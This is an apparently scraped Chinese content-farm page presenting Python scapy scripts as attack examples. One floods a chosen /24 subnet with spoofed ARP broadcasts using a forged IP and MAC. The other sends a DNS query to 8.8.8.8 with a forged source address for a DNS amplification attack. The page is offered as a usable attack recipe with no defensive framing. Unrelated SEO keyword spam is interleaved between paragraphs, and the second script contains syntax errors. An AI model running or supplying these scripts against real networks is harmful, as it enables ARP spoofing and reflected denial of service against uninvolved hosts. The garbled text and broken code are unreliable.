2000字范文,分享全网优秀范文,学习好帮手!
2000字范文 > Python中使用scapy模拟数据包实现arp攻击 dns放大攻击例子

Python中使用scapy模拟数据包实现arp攻击 dns放大攻击例子

时间:2022-07-11 18:57:44

相关推荐

Python中使用scapy模拟数据包实现arp攻击 dns放大攻击例子

后端开发|Python教程

Python,arp攻击,dns放大攻击

后端开发-Python教程

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。

化工网源码,vscode缺陷,htop ubuntu,tomcat解码,mac sqlite文件,韩国服务器高防,jq粒子插件下载,extend前端开发框架,爬虫 模拟浏览器,php启动项目,撩码SEO,仿网站 涉及侵权吗,#NAME?,discuz音乐模板,页面引入layer js报错,.net 成绩管理系统,php开发微信小程序lzw

这里就直接用python的scapy搞。

开放源码网站,ubuntu设置自动安装,爬虫实例大全视频,php 获取 地区,seo什么书籍lzw

这里是arp的攻击方式,你可以做成arp攻击。

idc虚拟主机源码asp,ubuntu 10安装g,tomcat数据库多ip,python爬虫会话过期,PHP管理员注册限制,肇庆谷歌SEOlzw

复制代码 代码如下:

#!/usr/bin/python

"""

ARP attack

"""

import sys, os

from scapy.all import *

if os.geteuid() != 0:

print "This program must be run as root. Aborting."

sys.exit()

if len(sys.argv) < 2:

print "Pkease Use %s x.x.x" % (sys.argv[0])

exit()

attackIP = sys.argv[1] + ".0/24"

srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

dns放大攻击

复制代码 代码如下:

#coding:utf-8

from scapy import *

from scapy.all import *

a = IP(dst=8.8.8.8,src=192.168.1.200) #192.168.1.200 为伪造的源ip

b = UDP(dport=53)

c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)

c.qd=DNSQR(qname=\,qtype=1,qclass=1)

p = a/b/c

send(p)

~

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。